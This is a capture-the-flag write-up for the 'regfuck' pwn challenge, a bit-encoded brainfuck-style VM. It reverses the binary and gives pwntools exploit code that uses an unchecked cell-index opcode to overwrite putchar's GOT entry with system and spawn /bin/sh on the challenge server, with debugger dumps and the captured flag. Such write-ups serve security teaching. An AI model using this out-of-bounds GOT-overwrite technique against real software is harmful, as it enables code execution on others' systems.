Points: 320 Solves: 9

regfuck
Category: Pwn
Difficulty: Medium/Hard
Author: localo
First Blood: RedGKFRocket
Show all teams (9)

Unlimited free Hello Worlds at hax.allesctf.net:3301.

Ubuntu 18.04

Note: The server is LD_PRELOADing buffer_read.so to mitigate a short read. You can ping us on IRC if this causes issues with your exploit.

Attachment: vm buffer_read.so libc.so.6 xpl.py

 ______ _______ _______ _______ _______ ______ __  __ 
|   __ \    ___|     __|    ___|   |   |      |  |/  |
|      <    ___|    |  |    ___|   |   |   ---|     < 
|___|__|_______|_______|___|   |_______|______|__|\__|
by localo

usage: just push your payload to stdin..

regfuck was a brainfuck-like “mini vm”, which allowed moving a cell pointer, increasing, decreasing values and some basic branching.

Like most bf challenges it had an OOB vulnerability, that would allow us to overwrite got entries and thus gaining a shell.

The first challenge was to understand, how our code would be parsed and what we could do with it.

int main()
{
  int data_size; 
  int program_size; 
  char *data_region; 
  char *code_region; 
  
  puts(
    " ______ _______ _______ _______ _______ ______ __  __ \n"
    "|   __ \\    ___|     __|    ___|   |   |      |  |/  |\n"
    "|      <    ___|    |  |    ___|   |   |   ---|     < \n"
    "|___|__|_______|_______|___|   |_______|______|__|\\__|\n"
    "by localo\n"
    "\n"
    "usage: just push your payload to stdin..\n");

  // Read size for data region
  read(0, &data_size, 4);

  if ( data_size <= 0 )
    return 1;

  // Read size for code region 
  read(0, &program_size, 4);

  if ( program_size <= 0 || program_size & 7 )
    return 1;

  // map memory for data + code region
  data_region = (char *)mmap(0x405000, 4 * (data_size + 2) + program_size / 8, 3, 34, -1, 0);

  if ( data_region == -1)
    exit(1);

  // Set pointer for code region inside mapped area
  code_region = &data_region[16 * (data_size + 2)];

  if ( !code_region )
    return 1;

  // Read the program bytecode
  read(0, code_region, program_size / 8);

  // Start execution
  return execute_program(data_region, data_size, code_region, program_size);
}

So, it reads 4 bytes for the data_size (used for storing cell values), 4 bytes for program_size (size of our code in bytes) and creates a memory region for our vm context (data + program).

Here’s the first caveat: While starting exploits, I’ll often disable ASLR to make debugging easier, not having to fiddle around with changing memory addresses. This is a very bad idea to do here ;-)

If ASLR is disabled, the heap will be allocated at 0x405000 and thus mmap will allocate a new region (for example at 0x7ffff7dc8000), which will make it impossible to exploit it (or at least way harder than needed).

With ASLR enabled, heap will be allocated at some random address, allowing mmap to create the region exactly at 0x405000, which is perfectly aligned to bss.

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000405000 0x0000000000406000 0x0000000000000000 rw- # VM context region
0x0000000000eee000 0x0000000000f0f000 0x0000000000000000 rw- [heap]

This will become important later on, but let’s first continue to analyze how to provide executable code to the vm.

struct VM_Context {
  int OP_Code;          // Current opcode to execute
  int Accumulator;      // Temporary storage
  int Cells[x];         // Cells usable by vm
}

int execute_program(VM_Context* data_region, unsigned int size, char* code_region, int opcode_count)
{
  time_t timer; 
  time_t timer_opcode;   
  int vm_eip = 0;

  time(&timer);

  while ( opcode_count > vm_ip )
  {
    time(&timer_opcode);

    // Break code execution after 2 seconds (nasty for debugging)
    if ( timer_opcode - timer > 2 ) 
      return 1;

    // Process current opcode at vm_eip 
    if ( process_code(data_region, code_region, &vm_ip) )
      return 1;

    // Increase instruction pointer
    ++vm_ip;
  }
  return 0;
}

The timer checks are a bit nasty, when debugging this, since it will break execution when doing break & continue (except you’re fast enough to debug everything in 2 seconds :-P). I just patched the binary to ignore the condition making debugging a lot easier.

Apart from this, this will just initialiaze an index variable (let’s call it vm instruction pointer), calling repeatedly process_code (passing vm_ip also as a reference, so the code could update it when branching).

int process_code(VM_Context *data_region, char *code_region, int *ptr_vm_ip)
{
  int vm_ip; 

  // Get current vm instruction pointer  
  vm_ip = *ptr_vm_ip;
  
  if ( vm_ip < 0 )
    vm_ip = *ptr_vm_ip + 7;

  // Check if bit at vm_ip is set
  if ( (code_region[vm_ip >> 3] >> (7 - (*ptr_vm_ip % 8))) & 1 )
  {
    // Increase opcode cell
    ++data_region->OP_Code;                             
  }
  else
  {
    if ( data_region->OP_Code <= 9 )
      OP_CODE_TABLE[data_region->OP_Code]();

    data_region->OP_Code = 0;
  }
  return 0;
}

So, our instruction pointer is basically a bit offset in our code, and process_code will check if the bit at the current ip is set to 1 or 0. When the bit is set, it will increase OP_Code, and if the bit is not set, it will use the current value in OP_Code to find the offset in OP_CODE_TABLE, execute the corresponding opcode and reset OP_Code back to 0 (start reading the next opcode).

There will be 9 instructions available. Thus to execute different opcodes, we have to create a “bit stream”, with n following bits set to 1 and a stop 0 bit for executing OPCODE(n).

Basic starter script:

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "hax.allesctf.net"
PORT = 3301

def op(opcode):
    # create "binary stream" ;)
    result = "";
    result += opcode*"1"
    result += "0"
    return result

def convertprogram(code):
    # convert binary representation to bytes
    result = "";

    i = 0
    for i in range(0, len(code), 8):
        result += p8(int(code[i:i+8], 2))
    
    return result

def exploit(r):
    payload = ""

    payload += op(7)  
    payload += op(7)  
    payload += op(7)  
    
    # convert binary to byte data
    data = convertprogram(payload)

    # create program header
    program = p32(0x30)
    program += p32((len(data))*8)
    program += data
    
    # send program to servivce
    r.sendline(program)
    
    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./vm")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./vm", env={"LD_PRELOAD":"./buffer_read.so"})
        print util.proc.pidof(r)
        pause()
        exploit(r)

With this, we can start writing vm code and execute the different available opcodes.

Won’t be getting too much into detail of reversing the opcodes itself, but as a short explanation:

  • 1 : Increase current cell index (0x40123b)
  • 2 : Decrease current cell index (0x40126f)
  • 3 : Increase value at current cell (0x40129e)
  • 4 : Decrease value at current cell (0x4012c8)
  • 5 : Jump to IP stored in accumulator if current value > 0 (0x4012f2)
  • 6 : Move value at current cell into accumulator (0x401335)
  • 7 : putchar (current cell) (0x401364)
  • 8 : Store current IP and Index array in current cell (0x40138d)
  • 9 : Restore current cell index from value in accumulator (0x4013c9)

Calling function 8, will store the current instruction pointer in the upper 2 bytes of the current cell and the current cell index in the lower 2 bytes.

Interesting parts

decrease_current_cell_idx:
mov     rax, [rbp+current_array_idx] 
movzx   eax, word ptr [rax] 
cmp     ax, 0FFFFh      
jnz     short do_decrease
mov     eax, 1
jmp     leave_process_code

do_decrease:                         
mov     rax, [rbp+current_array_idx] 
movzx   eax, word ptr [rax] 
sub     eax, 1         
mov     edx, eax
mov     rax, [rbp+current_array_idx]
mov     [rax], dx
jmp     continue_execution

There is a basic boundary check, when decreasing the current cell index, as it will validate, that the current cell index does not equal 0xffff (-1). If cell index is -1, program execution will be aborted, so we cannot just decrease our way into bss.

But the boundaries won’t be checked in the “set array index function”. Thus we can move outside of the boundaries of our vm context, by first decreasing a cell value to a negative value, storing it in the accumulator, and then calling “set array index”, which will directly set the array index to the negative value (and as long as it doesn’t equals -1, we’re good to go).

Armed with this, I wrote a script to “walk” into got, and “decreased” putchar.got to point to a one_gadget. In CTF ghetto style, I only did as much as needed to write exactly that value to the got entry, which on the one hand worked and resulted in getting a local shell…

But well… failed miserably at the remote service, most likely due to a different stack layout.

Since my regfuck code at that point was even harder to read, than it was to write, every change in it just broke everything. While messing around with the script, it got quite late and I needed some sleep, so I called it a day…

Next morning, I just dropped everything and started from scratch again (though ending up in the end with the same script as the day before, but at least understanding again, what I was doing ;)).

While it seemed, that we could write an almost arbitrary size of vm code, only walking to the got entry and decreasing it 23894482 times (totally random value) seemed to break code execution, so I had to come up with a proper code including some counter variables.

Plan:

    1. Create a negative value in a cell (so it would point below got table)
    1. Move it to the accumulator
    1. Set the array index to accumulator (which now holds our forged negative index in the lower 2 bytes and thus moved the array index backwards)
    1. Move one cell up and write a multiplicator value there
    1. Move back and store the current instruction pointer (and current cell value) to this cell
    1. Reset index array (it will still point to the same cell at this point, but this is needed for making the loop work)
    1. Move cell pointer to our destination address (putchar.got)
    1. Increase/Decrease it by a factor value
    1. Move back to our multiplicator value and decrease it by 1
    1. Do a “jump if not zero” (on multiplicator) back to the stored instruction pointer (6) from the accumulator (The cell index is now pointing to the multiplicator cell and not the instruction pointer cell, as it was, when the loop was executed the first time. That’s the reason we’ll reset the array index in 6, so the state is the same for every loop)
    1. When we finished increasing/decreasing the value m * f times, we once again walk back to the destination address and increase/decrease it by the remaining value
    1. Go back into initial state (for starting more writes, which weren’t needed in the end)
def write_value(address, org_address, dest_address, rbp_off=0x68):
    if org_address > dest_address:
        mult, factor, remaining = get_factors(org_address - dest_address)
        increase = 0
    else:
        mult, factor, remaining = get_factors(dest_address - org_address)
        increase = 1

    return change_val(mult, factor, remaining, address, rbp_off, increase)

def change_val(mult, factor, remaining, address, rbp_off=0x68, increase=1):
    payload = ""

    # 1. move to "offset" index for current chain  
    payload += decval((0x405008 - 0x404000 - rbp_off) / 4)

    # 2. move to accumulator
    payload += movacc()

    # 3. Set array idx from acc (now pointing below got)
    payload += setarrayidx()
    payload += incidx()

    # 4. write multipllicator
    payload += incval(mult)
    payload += decidx()

    # 5. store label
    payload += storeeip(0)

    # 6. reset array index (for following loops)
    payload += setarrayidx()        # on ip cell
    payload += movacc()             # store eip in acc

    # 7. move to destination address
    payload += decidx( ((0x404000+rbp_off) - address) / 4)

    # 8. increase / decrease value
    if increase == 1:
        payload += incval(factor)   # increase value by x
    else:
        payload += decval(factor)   # decrease value by x

    # 9. go back to multiplicator and decrease it
    payload += incidx( ((0x404000+rbp_off) - address + 4) / 4)
    payload += decval()

    # 10. repeat until multiplier == 0
    payload += jnz()

    # 11. add remaining value
    payload += decidx()
    payload += decidx(((0x404000+rbp_off) - address) / 4)

    if increase == 1:
        payload += incval(remaining)
    else:
        payload += decval(remaining)

    # 12. go back to original context
    payload += incidx( ((0x404000 + rbp_off) - address) / 4)
    payload += incidx( ((0x1000 - rbp_off + 8)) / 4)

    return payload

def exploit(r):
    if not LOCAL:
        r.recvuntil("stdin..\n\n")
    
    payload = ""
        
    # call putchar to resolve it
    payload += putchar()

    # overwrite putchar with system
    payload += write_value(0x404018, libc.symbols["putchar"], libc.symbols["system"], 0x68)

Since the regfuck code might not be too easy to understand at this point, some more details, what’s happening in memory:

  • 1 - Creating fake index in data context
0x405000:	0x0000000000000006	0x00000000fffffc18  <= Opcode+Accumulator / Cell 0
0x405010:	0x0000000000000000	0x0000000000000000
0x405020:	0x0000000000000000	0x0000000000000000
0x405030:	0x0000000000000000	0x0000000000000000
0x405040:	0x0000000000000000	0x0000000000000000
0x405050:	0x0000000000000000	0x0000000000000000
0x405060:	0x0000000000000000	0x0000000000000000
0x405070:	0x0000000000000000	0x0000000000000000
  • 2 - Moving fake index to accumulator
0x405000:	0xfffffc1800000009	0x00000000fffffc18  <= Opcode+Accumulator / Cell 0
0x405010:	0x0000000000000000	0x0000000000000000
0x405020:	0x0000000000000000	0x0000000000000000
0x405030:	0x0000000000000000	0x0000000000000000
0x405040:	0x0000000000000000	0x0000000000000000
0x405050:	0x0000000000000000	0x0000000000000000
  • 3 - Set the array index to accumulator
0x7ffdfbcdaab4:	0x0000   # current cell index before
0x7ffdfbcdaab4:	0xfc18   # current cell index after
  • 4 - Move one cell up and write a “multiplicator” value there
0x404000:	0x0000000000403e10	0x00007ff40abbb170  <= bss
0x404010:	0x00007ff40a9a9680	0x00007ff40a420810  <= dl_resolve / putchar.got
0x404020:	0x00007ff40a41e9c0	0x0000000000401056
0x404030:	0x00007ff40a4b99d0	0x00007ff40a790070
0x404040:	0x00007ffdfbd21f10	0x0000000000401096
0x404050:	0x0000000000000000	0x0000000000000000
0x404060:	0x0000000000000000	0x0000050700000000  <= multiplicator
0x404070:	0x0000000000000000	0x0000000000000000
  • 5 - Move back and store the current instruction pointer (and current cell value) to this cell
0x404000:	0x0000000000403e10	0x00007ff40abbb170
0x404010:	0x00007ff40a9a9680	0x00007ff40a420810
0x404020:	0x00007ff40a41e9c0	0x0000000000401056
0x404030:	0x00007ff40a4b99d0	0x00007ff40a790070
0x404040:	0x00007ffdfbd21f10	0x0000000000401096
0x404050:	0x0000000000000000	0x0000000000000000
0x404060:	0x0000000000000000	0x0000050727cafc18  <= multiplicator + stored vm_ip
0x404070:	0x0000000000000000	0x0000000000000000
0x404080:	0x0000000000000000	0x0000000000000000
  • 6 - Reset index array
  • 7 - Move cell pointer to our destination address (putchar.got)
  • 8 - Increase/Decrease it by a “factor” value
0x404000:	0x0000000000403e10	0x00007ff40abbb170
0x404010:	0x00007ff40a9a9680	0x00007ff40a42076d  <= dl_resolve / putchar.got (modified by factor)
0x404020:	0x00007ff40a41e9c0	0x0000000000401056
0x404030:	0x00007ff40a4b99d0	0x00007ff40a790070
0x404040:	0x00007ffdfbd21f10	0x0000000000401096
0x404050:	0x0000000000000000	0x0000000000000000
0x404060:	0x0000000000000000	0x0000050727cafc18
  • 9 - Move back to our multiplicator value and decrease it by 1
0x404000:	0x0000000000403e10	0x00007ff40abbb170
0x404010:	0x00007ff40a9a9680	0x00007ff40a42076d  
0x404020:	0x00007ff40a41e9c0	0x0000000000401056
0x404030:	0x00007ff40a4b99d0	0x00007ff40a790070
0x404040:	0x00007ffdfbd21f10	0x0000000000401096
0x404050:	0x0000000000000000	0x0000000000000000
0x404060:	0x0000000000000000	0x0000050627cafc18  <= multiplicator decreased
  • 10 - Do a “jump if not zero” (multiplicator value) back to the stored instruction pointer

After some repetitions

0x404000:	0x0000000000403e10	0x00007ff40abbb170
0x404010:	0x00007ff40a9a9680	0x00007ff40a41f26a  <= putchar.got repeatedly decreased
0x404020:	0x00007ff40a41e9c0	0x0000000000401056
0x404030:	0x00007ff40a4b99d0	0x00007ff40a790070
0x404040:	0x00007ffdfbd21f10	0x0000000000401096
0x404050:	0x0000000000000000	0x0000000000000000
0x404060:	0x0000000000000000	0x000004e527cafc18  <= multiplicator decreased
0x404070:	0x0000000000000000	0x0000000000000000

Until multiplicator hits zero and we’ll jump out of the loop

  • 11 - Walk back to the destination address and increase/decrease it by the “remaining” value
gef➤  x/30gx 0x404000
0x404000:	0x0000000000403e10	0x00007ff40abbb170
0x404010:	0x00007ff40a9a9680	0x00007ff40a3ed440  <= putchar.got now pointing to system
0x404020:	0x00007ff40a41e9c0	0x0000000000401056
0x404030:	0x00007ff40a4b99d0	0x00007ff40a790070
0x404040:	0x00007ffdfbd21f10	0x0000000000401096
0x404050:	0x0000000000000000	0x0000000000000000
0x404060:	0x0000000000000000	0x0000000027cafc18  <= multiplicator 0
0x404070:	0x0000000000000000	0x0000000000000000
0x404080:	0x0000000000000000	0x0000000000000000
0x404090:	0x0000000000000000	0x0000000000000000
0x4040a0:	0x0000000000000000	0x0000000000000000
0x4040b0:	0x0000000000000000	0x0000000000000000
0x4040c0:	0x0000000000000000	0x0000000000000000
0x4040d0:	0x0000000000000000	0x0000000000000000
0x4040e0:	0x0000000000000000	0x0000000000000000
gef➤  x/10i 0x00007ff40a3ed440
   0x7ff40a3ed440 <__libc_system>:	test   rdi,rdi
   0x7ff40a3ed443 <__libc_system+3>:	je     0x7ff40a3ed450 <__libc_system+16>
   0x7ff40a3ed445 <__libc_system+5>:	jmp    0x7ff40a3eceb0 <do_system>
   0x7ff40a3ed44a <__libc_system+10>:	nop    WORD PTR [rax+rax*1+0x0]

So, at this point, putchar is now pointing to system. A /bin/sh string and a pointer to it at a known address, is all we need now to do a proper system("/bin/sh"). At first, I thought about also increasing values to forge the pointer and the address, but…

We can just append them to the end of our program code, which makes this last step much easier ;)

data = convertprogram(payload)

# Append pointer to /bin/sh and /bin/sh string to program code
data = data.ljust(2408, "A")
data += p64(0x405c90)			# pointer to /bin/sh
data += "/bin/sh"			

program = p32(0x30)
program += p32((len(data))*8)
program += data

This way, we know that we’ll have a pointer to the string at 0x405c88 (and /bin/sh at 0x405c90). So we just need to get the current cell index point to the cell 0x405c88 - 0x405008 and trigger putchar.

But, we cannot just increase the cell index multiple times (because every increase would increase the program size and move our values further down, by which we’d end up in an endless catchup game).

In the end, I just did the same as for increasing the got entry multiple times and wrote another short vm code, which will create the needed array index, pointing to the /bin/sh pointer and set it via set array index.

# move to /bin/sh and call putchar to trigger system
payload += incval(0x3e8)
payload += movacc()
payload += setarrayidx()

payload += incidx()				# cell 1
payload += incval(0x20)
payload += decidx()				# cell 0

payload += storeeip(1)		# stored ip in 0
payload += setarrayidx()
payload += movacc()

payload += incidx(2)			# cell 2
payload += incval(25)	
payload += decidx(1)			# cell 1
payload += decval()				# decrease counter
payload += jnz()

payload += incidx()				# cell 2
payload += movacc()
payload += setarrayidx()		# move cell to /bin/sh ptr

payload += putchar()
payload += putchar()

After this, putchar is triggered

gef➤  
──────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000405c90  →  0x0068732f6e69622f ("/bin/sh"?)
$rbx   : 0x0               
$rcx   : 0x5               
$rdx   : 0xc88             
$rsp   : 0x00007ffdfbcdaa50  →  0x0000000000000000
$rbp   : 0x00007ffdfbcdaa80  →  0x00007ffdfbcdaad0  →  0x00007ffdfbcdab10  →  0x0000000000401630  →   endbr64 
$rsi   : 0xfffffffe        
$rdi   : 0x0000000000405c90  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x0000000000401386  →   call 0x401030 <putchar@plt>
$r8    : 0x30              
$r9    : 0x00007ff40aba0740  →  0x00007ff40aba0740  →  [loop detected]
$r10   : 0x5               
$r11   : 0x00007ff40a420810  →  0x0036a0301d8b4853
$r12   : 0x00000000004010a0  →   endbr64 
$r13   : 0x00007ffdfbcdabf0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40137f                  add    rax, rdx
     0x401382                  mov    eax, DWORD PTR [rax]
     0x401384                  mov    edi, eax
 →   0x401386                  call   0x401030 <putchar@plt>
   ↳    0x401030 <putchar@plt+0>  jmp    QWORD PTR [rip+0x2fe2]        # 0x404018
        0x401036 <putchar@plt+6>  push   0x0
        0x40103b <putchar@plt+11> jmp    0x401020
        0x401040 <puts@plt+0>     jmp    QWORD PTR [rip+0x2fda]        # 0x404020
        0x401046 <puts@plt+6>     push   0x1
        0x40104b <puts@plt+11>    jmp    0x401020
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffdfbcdaa50│+0x0000: 0x0000000000000000	 ← $rsp
0x00007ffdfbcdaa58│+0x0008: 0x0000003000000000
0x00007ffdfbcdaa60│+0x0010: 0x00007ffdfbcdaab4  →  0x5d628cbb465a0320
0x00007ffdfbcdaa68│+0x0018: 0x00007ffdfbcdaab6  →  0x00005d628cbb465a
0x00007ffdfbcdaa70│+0x0020: 0x0000000000405320  →  0xbdf7de7befbdf7fe
0x00007ffdfbcdaa78│+0x0028: 0x0000000000405000  →  0x0000032000000007
──────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
putchar@plt (
   $rdi = 0x0000000000405c90 → 0x0068732f6e69622f ("/bin/sh"?),
   $rsi = 0x00000000fffffffe,
   $rdx = 0x0000000000000c88,
   $rcx = 0x0000000000000005
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000401386 in ?? ()

rdi holding 0x405c90 pointing to our /bin/sh string and now happily triggering system

─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000405c90  →  0x0068732f6e69622f ("/bin/sh"?)
$rbx   : 0x0               
$rcx   : 0x5               
$rdx   : 0xc88             
$rsp   : 0x00007ffdfbcdaa48  →  0x000000000040138b  →   jmp 0x401406
$rbp   : 0x00007ffdfbcdaa80  →  0x00007ffdfbcdaad0  →  0x00007ffdfbcdab10  →  0x0000000000401630  →   endbr64 
$rsi   : 0xfffffffe        
$rdi   : 0x0000000000405c90  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x00007ff40a3ed440  →  0xfa66e90b74ff8548
$r8    : 0x30              
$r9    : 0x00007ff40aba0740  →  0x00007ff40aba0740  →  [loop detected]
$r10   : 0x5               
$r11   : 0x00007ff40a420810  →  0x0036a0301d8b4853
$r12   : 0x00000000004010a0  →   endbr64 
$r13   : 0x00007ffdfbcdabf0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ff40a3ed435 <cancel_handler+213> add    BYTE PTR [rax], 0x0
   0x7ff40a3ed438 <cancel_handler+216> add    BYTE PTR [rbx-0x3d], bl
   0x7ff40a3ed43b                  nop    DWORD PTR [rax+rax*1+0x0]
 → 0x7ff40a3ed440 <system+0>       test   rdi, rdi
   0x7ff40a3ed443 <system+3>       je     0x7ff40a3ed450 <__libc_system+16>
   0x7ff40a3ed445 <system+5>       jmp    0x7ff40a3eceb0 <do_system>
   0x7ff40a3ed44a <system+10>      nop    WORD PTR [rax+rax*1+0x0]
   0x7ff40a3ed450 <system+16>      lea    rdi, [rip+0x164a4b]        # 0x7ff40a551ea2
   0x7ff40a3ed457 <system+23>      sub    rsp, 0x8
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffdfbcdaa48│+0x0000: 0x000000000040138b  →   jmp 0x401406	 ← $rsp
0x00007ffdfbcdaa50│+0x0008: 0x0000000000000000
0x00007ffdfbcdaa58│+0x0010: 0x0000003000000000
0x00007ffdfbcdaa60│+0x0018: 0x00007ffdfbcdaab4  →  0x5d628cbb465a0320
0x00007ffdfbcdaa68│+0x0020: 0x00007ffdfbcdaab6  →  0x00005d628cbb465a
0x00007ffdfbcdaa70│+0x0028: 0x0000000000405320  →  0xbdf7de7befbdf7fe

Fortunately, this didn’t have the problems anymore like the one_gadget approach and also resulted in a shell when running remote :)

$ python work.py 1
[*] '/media/sf_ctf/alles/regfuck/regfuck/vm'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/media/sf_ctf/alles/regfuck/regfuck/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to hax.allesctf.net on port 3301: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
ALLES{5w337_dr34m5_4r3_m4d3_0f_7h15}